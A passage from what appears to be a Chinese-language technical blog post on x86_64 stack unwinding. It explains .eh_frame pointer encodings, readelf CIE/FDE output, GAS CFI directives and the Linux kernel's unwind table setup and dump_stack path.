&lt;tr&gt;&lt;td&gt;DW_EH_PE_absptr&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;td&gt;Pointer (long)&lt;&#x2F;td&gt;&lt;td&gt;The Value is a literal pointer whose size is determined by the architecture.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_uleb128&lt;&#x2F;td&gt;&lt;td&gt;0x01&lt;&#x2F;td&gt;&lt;td&gt;Unsigned LEB128&lt;&#x2F;td&gt;&lt;td&gt;Unsigned value is encoded using the Little Endian Base 128 (LEB128) as defined by DWARF Debugging Information Format, Revision 2.0.0.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_udata2&lt;&#x2F;td&gt;&lt;td&gt;0x02&lt;&#x2F;td&gt;&lt;td&gt;A 2 bytes unsigned value.&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_udata4&lt;&#x2F;td&gt;&lt;td&gt;0x03&lt;&#x2F;td&gt;&lt;td&gt;A 4 bytes unsigned value.&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_udata8&lt;&#x2F;td&gt;&lt;td&gt;0x04&lt;&#x2F;td&gt;&lt;td&gt;An 8 bytes unsigned value.&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_sleb128&lt;&#x2F;td&gt;&lt;td&gt;0x09&lt;&#x2F;td&gt;&lt;td&gt;Signed LEB128&lt;&#x2F;td&gt;&lt;td&gt;Signed value is encoded using the Little Endian Base 128 (LEB128) as defined by DWARF Debugging Information Format, Revision 2.0.0.&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_sdata2&lt;&#x2F;td&gt;&lt;td&gt;0x0A&lt;&#x2F;td&gt;&lt;td&gt;A 2 bytes signed value.&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_sdata4&lt;&#x2F;td&gt;&lt;td&gt;0x0B&lt;&#x2F;td&gt;&lt;td&gt;A 4 bytes signed value.&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_sdata8&lt;&#x2F;td&gt;&lt;td&gt;0x0C&lt;&#x2F;td&gt;&lt;td&gt;An 8 bytes signed value.&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;高4位:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Name&lt;&#x2F;th&gt;&lt;th&gt;Value&lt;&#x2F;th&gt;&lt;th&gt;Meaning&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_pcrel&lt;&#x2F;td&gt;&lt;td&gt;0x10&lt;&#x2F;td&gt;&lt;td&gt;Value is relative to the current program counter.&lt;&#x2F;td&gt;&lt;td&gt;值是相对于当前程序计数器的。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_textrel&lt;&#x2F;td&gt;&lt;td&gt;0x20&lt;&#x2F;td&gt;&lt;td&gt;Value is relative to the beginning of the .text section.&lt;&#x2F;td&gt;&lt;td&gt;值是相对于.text section的。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_datarel&lt;&#x2F;td&gt;&lt;td&gt;0x30&lt;&#x2F;td&gt;&lt;td&gt;Value is relative to the beginning of the .got or .eh_frame_hdr section.&lt;&#x2F;td&gt;&lt;td&gt;值是相对于.got或者.eh_frame_hdr section的。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_funcrel&lt;&#x2F;td&gt;&lt;td&gt;0x40&lt;&#x2F;td&gt;&lt;td&gt;Value is relative to the beginning of the function.&lt;&#x2F;td&gt;&lt;td&gt;值是相对于当前函数的。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_aligned&lt;&#x2F;td&gt;&lt;td&gt;0x50&lt;&#x2F;td&gt;&lt;td&gt;Value is aligned to an address unit sized boundary.&lt;&#x2F;td&gt;&lt;td&gt;值与地址单元大小的边界对齐。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;特殊值&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Name&lt;&#x2F;th&gt;&lt;th&gt;Value&lt;&#x2F;th&gt;&lt;th&gt;Meaning&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;DW_EH_PE_omit&lt;&#x2F;td&gt;&lt;td&gt;0xFF&lt;&#x2F;td&gt;&lt;td&gt;indicate that no value is present&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;3-2-eh-frame-shi-li&quot;&gt;3.2 .eh_frame 实例&lt;&#x2F;h3&gt;
&lt;p&gt;一段简单的c语言代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;$ cat test.c
#include &amp;lt;stdio.h&amp;gt;

int test(int x)
{
        int c =10;

return x*c;
}

void main()
{
        int a,b;

        a = 10;
        b = 11;

        printf(&amp;quot;hello test~, %d\n&amp;quot;, a+b);

        a = test(a+b);
}
$ gcc test.c
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;3-2-1-jie-xi-xin-xi&quot;&gt;3.2.1 解析信息&lt;&#x2F;h4&gt;
&lt;p&gt;可以使用&lt;code&gt;readelf -wF xxx&lt;&#x2F;code&gt;命令来查看elf文件中的&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;解析信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;$ readelf -wF a.out
Contents of the .eh_frame section:

00000000 0000000000000014 00000000 CIE &amp;quot;zR&amp;quot; cf=1 df=-8 ra=16
   LOC           CFA      ra
0000000000000000 rsp+8    u

...

000000c8 0000000000000044 0000009c FDE cie=00000030 pc=00000000000006b0..0000000000000715
   LOC           CFA      rbx   rbp   r12   r13   r14   r15   ra
00000000000006b0 rsp+8    u     u     u     u     u     u     c-8
00000000000006b2 rsp+16   u     u     u     u     u     c-16  c-8
00000000000006b4 rsp+24   u     u     u     u     c-24  c-16  c-8
00000000000006b9 rsp+32   u     u     u     c-32  c-24  c-16  c-8
00000000000006bb rsp+40   u     u     c-40  c-32  c-24  c-16  c-8
00000000000006c3 rsp+48   u     c-48  c-40  c-32  c-24  c-16  c-8
00000000000006cb rsp+56   c-56  c-48  c-40  c-32  c-24  c-16  c-8
00000000000006d8 rsp+64   c-56  c-48  c-40  c-32  c-24  c-16  c-8
000000000000070a rsp+56   c-56  c-48  c-40  c-32  c-24  c-16  c-8
000000000000070b rsp+48   c-56  c-48  c-40  c-32  c-24  c-16  c-8
000000000000070c rsp+40   c-56  c-48  c-40  c-32  c-24  c-16  c-8
000000000000070e rsp+32   c-56  c-48  c-40  c-32  c-24  c-16  c-8
0000000000000710 rsp+24   c-56  c-48  c-40  c-32  c-24  c-16  c-8
0000000000000712 rsp+16   c-56  c-48  c-40  c-32  c-24  c-16  c-8
0000000000000714 rsp+8    c-56  c-48  c-40  c-32  c-24  c-16  c-8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;总体架构就是由&lt;code&gt;CIE&lt;&#x2F;code&gt;和&lt;code&gt;FDE&lt;&#x2F;code&gt;组成的。其中最核心的就是FDE的组织，读懂它条目的所有字段基本就理解了unwind的含义：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;unwind-stack-walk&#x2F;eh-frame-unwind-diagram.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;CFA (Canonical Frame Address, which is the address of %rsp in the caller frame)，CFA就是上一级调用者的堆栈指针。&lt;&#x2F;p&gt;
&lt;p&gt;上图详细说明了怎么样利用&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;来进行栈回溯：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;1、根据当前的PC在&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;中找到对应的条目，根据条目提供的各种偏移计算其他信息。&lt;&#x2F;li&gt;
&lt;li&gt;2、首先根据&lt;code&gt;CFA = rsp+4&lt;&#x2F;code&gt;，把当前rsp+4得到CFA的值。再根据CFA的值计算出通用寄存器和返回地址在堆栈中的位置。&lt;&#x2F;li&gt;
&lt;li&gt;3、通用寄存器栈位置计算。例如：rbx = CFA-56。&lt;&#x2F;li&gt;
&lt;li&gt;4、返回地址ra的栈位置计算。ra = CFA-8。&lt;&#x2F;li&gt;
&lt;li&gt;5、根据ra的值，重复步骤1到4，就形成了完整的栈回溯。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;3-2-2-yuan-shi-xin-xi&quot;&gt;3.2.2 原始信息&lt;&#x2F;h4&gt;
&lt;p&gt;也可以使用&lt;code&gt;readelf -wf xxx&lt;&#x2F;code&gt;命令来查看elf文件中的&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;原始信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;$ readelf -wf a.out
...

000000c8 0000000000000044 0000009c FDE cie=00000030 pc=00000000000006b0..0000000000000715
  DW_CFA_advance_loc: 2 to 00000000000006b2
  DW_CFA_def_cfa_offset: 16
  DW_CFA_offset: r15 (r15) at cfa-16
  DW_CFA_advance_loc: 2 to 00000000000006b4
  DW_CFA_def_cfa_offset: 24
  DW_CFA_offset: r14 (r14) at cfa-24
  DW_CFA_advance_loc: 5 to 00000000000006b9
  DW_CFA_def_cfa_offset: 32
  DW_CFA_offset: r13 (r13) at cfa-32
  DW_CFA_advance_loc: 2 to 00000000000006bb
  DW_CFA_def_cfa_offset: 40
  DW_CFA_offset: r12 (r12) at cfa-40
  DW_CFA_advance_loc: 8 to 00000000000006c3
  DW_CFA_def_cfa_offset: 48
  DW_CFA_offset: r6 (rbp) at cfa-48
  DW_CFA_advance_loc: 8 to 00000000000006cb
  DW_CFA_def_cfa_offset: 56
  DW_CFA_offset: r3 (rbx) at cfa-56
  DW_CFA_advance_loc: 13 to 00000000000006d8
  DW_CFA_def_cfa_offset: 64
  DW_CFA_advance_loc: 50 to 000000000000070a
  DW_CFA_def_cfa_offset: 56
  DW_CFA_advance_loc: 1 to 000000000000070b
  DW_CFA_def_cfa_offset: 48
  DW_CFA_advance_loc: 1 to 000000000000070c
  DW_CFA_def_cfa_offset: 40
  DW_CFA_advance_loc: 2 to 000000000000070e
  DW_CFA_def_cfa_offset: 32
  DW_CFA_advance_loc: 2 to 0000000000000710
  DW_CFA_def_cfa_offset: 24
  DW_CFA_advance_loc: 2 to 0000000000000712
  DW_CFA_def_cfa_offset: 16
  DW_CFA_advance_loc: 2 to 0000000000000714
  DW_CFA_def_cfa_offset: 8
  DW_CFA_nop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这些信息就是&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;的原始格式，是GAS(GCC Assembler)汇编编译器搜集汇编代码中所有的CFI伪指令汇总而成。&lt;&#x2F;p&gt;
&lt;p&gt;其中&lt;code&gt;CIE&lt;&#x2F;code&gt;、&lt;code&gt;FDE&lt;&#x2F;code&gt;的格式在第一节中已经介绍，不好理解的是&lt;code&gt;DW_CFA_*&lt;&#x2F;code&gt;开头的这些指令，这些指令的具体含义可以查看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;dwarfstd.org&#x2F;doc&#x2F;DWARF4.pdf&quot;&gt;DWARF&lt;&#x2F;a&gt;&lt;code&gt;6.4.2 Call Frame Instructions&lt;&#x2F;code&gt;一节或者&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs-2.31&#x2F;as&#x2F;CFI-directives.html&quot;&gt;CFI(Call Frame Information)&lt;&#x2F;a&gt;&#x2F;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;as&#x2F;ARM-Directives.html#arm_005ffnstart&quot;&gt;ARM CFI&lt;&#x2F;a&gt;的定义。&lt;&#x2F;p&gt;
&lt;p&gt;而上一节使用&lt;code&gt;readelf -wF xxx&lt;&#x2F;code&gt;命令解析了这些信息，我们初步看看对应关系：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;unwind-stack-walk&#x2F;cfi-fde-readelf-mapping.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-cfi-directives-xiang-jie&quot;&gt;4. CFI directives 详解&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;4-1-cfi-xiang-jie&quot;&gt;4.1 CFI 详解&lt;&#x2F;h3&gt;
&lt;p&gt;在GAS(GCC Assembler)汇编编译器&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs-2.31&#x2F;as&#x2F;CFI-directives.html&quot;&gt;CFI(Call Frame Information)&lt;&#x2F;a&gt;&#x2F;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;as&#x2F;ARM-Directives.html#arm_005ffnstart&quot;&gt;ARM CFI&lt;&#x2F;a&gt;文档中，对所有CFI伪指令的含义有详细描述。或者查看查看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;dwarfstd.org&#x2F;doc&#x2F;DWARF4.pdf&quot;&gt;DWARF&lt;&#x2F;a&gt;&lt;code&gt;6.4.2 Call Frame Instructions&lt;&#x2F;code&gt;一节。&lt;&#x2F;p&gt;
&lt;p&gt;我们介绍其中的一些重点指令：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;.cfi_sections section_list&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;.cfi_sections&lt;&#x2F;code&gt;用来描述产生的目标是&lt;code&gt;.eh_frame section&lt;&#x2F;code&gt; and&#x2F;or &lt;code&gt;.debug_frame section&lt;&#x2F;code&gt;。
如果&lt;code&gt;section_list&lt;&#x2F;code&gt;为.eh_frame，.eh_frame则产生，如果section_list为.debug_frame，.debug_frame则产生。两者同时产生&lt;code&gt;.eh_frame, .debug_frame&lt;&#x2F;code&gt;。如果不使用此指令，则默认值为.cfi_sections .eh_frame。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;.cfi_startproc [simple]&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;.cfi_startproc&lt;&#x2F;code&gt;用在每个函数的入口处。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;.cfi_endproc&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;.cfi_endproc&lt;&#x2F;code&gt;用在函数的结束处，和&lt;code&gt;.cfi_startproc&lt;&#x2F;code&gt;对应。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;.cfi_def_cfa register, offset&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;用来定义CFA的计算规则：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;objectivec&quot; class=&quot;language-objectivec &quot;&gt;&lt;code class=&quot;language-objectivec&quot; data-lang=&quot;objectivec&quot;&gt;CFA = register + offset
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;默认基址寄存器register = rsp。&lt;&#x2F;p&gt;
&lt;p&gt;x86_64的register编号从0-15对应下表。&lt;code&gt;rbp&lt;&#x2F;code&gt;的register编号为6，&lt;code&gt;rsp&lt;&#x2F;code&gt;的register编号为7。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;perl&quot; class=&quot;language-perl &quot;&gt;&lt;code class=&quot;language-perl&quot; data-lang=&quot;perl&quot;&gt;%rax，%rbx，%rcx，%rdx，%esi，%edi，%rbp，%rsp，%r8，%r9，%r10，%r11，%r12，%r13，%r14，%r15
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;完整x86_64的DWARF Register Number Mapping可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;refspecs.linuxfoundation.org&#x2F;elf&#x2F;x86_64-abi-0.95.pdf&quot;&gt;x86_64 ABI&lt;&#x2F;a&gt;&lt;code&gt;3.7 Stack Unwind Algorithm&lt;&#x2F;code&gt;一节。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;.cfi_def_cfa_register register&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;用来修改修改CFA计算规则，基址寄存器从&lt;code&gt;rsp&lt;&#x2F;code&gt;转移到新的&lt;code&gt;register&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;register = new register
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;.cfi_def_cfa_offset offset&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;用来修改修改CFA计算规则，基址寄存器不变，offset变化：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;CFA = register + offset(new)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;.cfi_adjust_cfa_offset offset&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;用来修改修改CFA计算规则，在上一个offset的基础上加上相对的offset：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;CFA = register + pre_offset + offset(new)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;.cfi_offset register, offset&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;寄存器register上一次值保存在CFA偏移offset的堆栈中：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;*(CFA + offset) = register(pre_value)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;.cfi_restore register&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;基址寄存器恢复成函数开始时的默认寄存器，默认是&lt;code&gt;rsp&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;更多的指令请查看手册，或者在实际用例中理解。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-2-cfi-shi-li&quot;&gt;4.2 CFI 实例&lt;&#x2F;h3&gt;
&lt;p&gt;如果我们直接编写汇编代码，需要自己手工添加CFI伪指令，否者堆栈回溯信息会出错。例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;objectivec&quot; class=&quot;language-objectivec &quot;&gt;&lt;code class=&quot;language-objectivec&quot; data-lang=&quot;objectivec&quot;&gt;kernel\arch\x86\kernel\entry_64.S:

ENTRY(system_call)
CFI_STARTPROC	simple
CFI_SIGNAL_FRAME
CFI_DEF_CFA	rsp,KERNEL_STACK_OFFSET
CFI_REGISTER	rip,rcx
&amp;#x2F;*CFI_REGISTER	rflags,r11*&amp;#x2F;
	SWAPGS_UNSAFE_STACK

#define CFI_STARTPROC		.cfi_startproc
#define CFI_ENDPROC		.cfi_endproc
#define CFI_DEF_CFA		.cfi_def_cfa
#define CFI_DEF_CFA_REGISTER	.cfi_def_cfa_register
#define CFI_DEF_CFA_OFFSET	.cfi_def_cfa_offset
#define CFI_ADJUST_CFA_OFFSET	.cfi_adjust_cfa_offset
#define CFI_OFFSET		.cfi_offset
#define CFI_REL_OFFSET		.cfi_rel_offset
#define CFI_REGISTER		.cfi_register
#define CFI_RESTORE		.cfi_restore
#define CFI_REMEMBER_STATE	.cfi_remember_state
#define CFI_RESTORE_STATE	.cfi_restore_state
#define CFI_UNDEFINED		.cfi_undefined
#define CFI_SAME_VALUE		.cfi_same_value
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们使用c语言编写时，gcc会自动帮我们产生CFI伪指令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;gcc -S test.c           &amp;#x2F;&amp;#x2F; c语言生成汇编代码
vim test.s              &amp;#x2F;&amp;#x2F; 查看汇编代码
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们对汇编指令中的CFI伪指令做一个解析：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;unwind-stack-walk&#x2F;gcc-cfi-directives-assembly.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用&lt;code&gt;readelf -wF xxx&lt;&#x2F;code&gt;读出对应FDE的信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;000000a8 000000000000001c 0000007c FDE cie=00000030 pc=0000000000000661..00000000000006a7
   LOC           CFA      rbp   ra
0000000000000661 rsp+8    u     c-8
0000000000000662 rsp+16   c-16  c-8
0000000000000665 rbp+16   c-16  c-8
00000000000006a6 rsp+8    c-16  c-8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;5-kernel-unwind-shi-xian&quot;&gt;5. kernel unwind 实现&lt;&#x2F;h2&gt;
&lt;p&gt;在内核中已经有现成的代码实现了kernel代码的unwind方式栈回溯。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-eh-framede-jia-zai&quot;&gt;5.1 &lt;code&gt;.eh_frame&lt;&#x2F;code&gt;的加载&lt;&#x2F;h3&gt;
&lt;p&gt;内核vmlinux也是一个elf文件，它编译完成后默认也生成了&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;和&lt;code&gt;.eh_frame_hdr&lt;&#x2F;code&gt;section。这两个段运行的时候被一起加载到内存，运行的时候需要有方法能找到它们。&lt;&#x2F;p&gt;
&lt;p&gt;内核在链接脚本&lt;code&gt;vmlinux.lds.h&lt;&#x2F;code&gt;中制定了定义：&lt;code&gt;__start_unwind_hdr&lt;&#x2F;code&gt;和&lt;code&gt;__end_unwind_hdr&lt;&#x2F;code&gt;变量用来标识&lt;code&gt;.eh_frame_hdr&lt;&#x2F;code&gt;的位置，&lt;code&gt;__start_unwind&lt;&#x2F;code&gt;和&lt;code&gt;__end_unwind&lt;&#x2F;code&gt;变量用来标识&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;的位置。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;kernel\include\asm-generic\vmlinux.lds.h

#ifdef CONFIG_STACK_UNWIND
#define EH_FRAME							\
&amp;#x2F;* Unwind data binary search table *&amp;#x2F;			\
		. = ALIGN(8);						\
		.eh_frame_hdr : AT(ADDR(.eh_frame_hdr) - LOAD_OFFSET) {	\
			VMLINUX_SYMBOL(__start_unwind_hdr) = .;		\
*(.eh_frame_hdr)				\
			VMLINUX_SYMBOL(__end_unwind_hdr) = .;		\
		}							\
&amp;#x2F;* Unwind data *&amp;#x2F;					\
		. = ALIGN(8);						\
		.eh_frame : AT(ADDR(.eh_frame) - LOAD_OFFSET) {		\
			VMLINUX_SYMBOL(__start_unwind) = .;		\
*(.eh_frame)					\
			VMLINUX_SYMBOL(__end_unwind) = .;		\
		}
#else
#define EH_FRAME
#endif
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在系统启动时，把内核的&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;和&lt;code&gt;.eh_frame_hdr&lt;&#x2F;code&gt;section当成一张&lt;code&gt;table&lt;&#x2F;code&gt;管理起来：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;start_kernel()

void __init unwind_init(void)
{
	init_unwind_table(&amp;amp;root_table, &amp;quot;kernel&amp;quot;,
	                  _text, _end - _text,
NULL, 0,
	                  __start_unwind, __end_unwind - __start_unwind,
	                  __start_unwind_hdr, __end_unwind_hdr - __start_unwind_hdr);
}

static void init_unwind_table(struct unwind_table *table,
                              const char *name,
                              const void *core_start,
                              unsigned long core_size,
                              const void *init_start,
                              unsigned long init_size,
                              const void *table_start,
                              unsigned long table_size,
                              const u8 *header_start,
                              unsigned long header_size)
{
	const u8 *ptr = header_start + 4;
	const u8 *end = header_start + header_size;

table-&amp;gt;core.pc = (unsigned long)core_start;
table-&amp;gt;core.range = core_size;
table-&amp;gt;init.pc = (unsigned long)init_start;
table-&amp;gt;init.range = init_size;
table-&amp;gt;address = table_start;
table-&amp;gt;size = table_size;
&amp;#x2F;* See if the linker provided table looks valid. *&amp;#x2F;
if (header_size &amp;lt;= 4
	    || header_start[0] != 1
	    || (void *)read_pointer(&amp;amp;ptr, end, header_start[1], 0, 0)
	       != table_start
	    || !read_pointer(&amp;amp;ptr, end, header_start[2], 0, 0)
	    || !read_pointer(&amp;amp;ptr, end, header_start[3], 0,
	                     (unsigned long)header_start)
	    || !read_pointer(&amp;amp;ptr, end, header_start[3], 0,
	                     (unsigned long)header_start))
		header_start = NULL;
table-&amp;gt;hdrsz = header_size;
	smp_wmb();
table-&amp;gt;header = header_start;
table-&amp;gt;link = NULL;
table-&amp;gt;name = name;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;驱动模块在加载的时候也需要把自己的&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;加进来，接口函数&lt;code&gt;unwind_add_table()&lt;&#x2F;code&gt;，这样就形成了一张unwind信息table链表。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-unwindjie-xi&quot;&gt;5.2 unwind解析&lt;&#x2F;h3&gt;
&lt;p&gt;通常我们调用dump_stack()来打印出内核的当前调用栈，其具体实现如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;dump_stack()
↓
show_trace()
↓

void
show_trace_log_lvl(struct task_struct *task, struct pt_regs *regs,
		unsigned long *stack, unsigned long bp, char *log_lvl)
{
	printk(&amp;quot;%sCall Trace:\n&amp;quot;, log_lvl);
&amp;#x2F;* 指定了ops为print_trace_ops *&amp;#x2F;
	dump_trace(task, regs, stack, bp, &amp;amp;print_trace_ops, log_lvl);
}

↓
dump_trace()
↓
try_stack_unwind()
↓

kernel\arch\x86\kernel\entry_64.S:

#ifdef CONFIG_STACK_UNWIND
&amp;#x2F;*
	%rdi 参数1：unwind_frame_info
	%rsi 参数2：unwind_callback_fn = dump_trace_unwind()
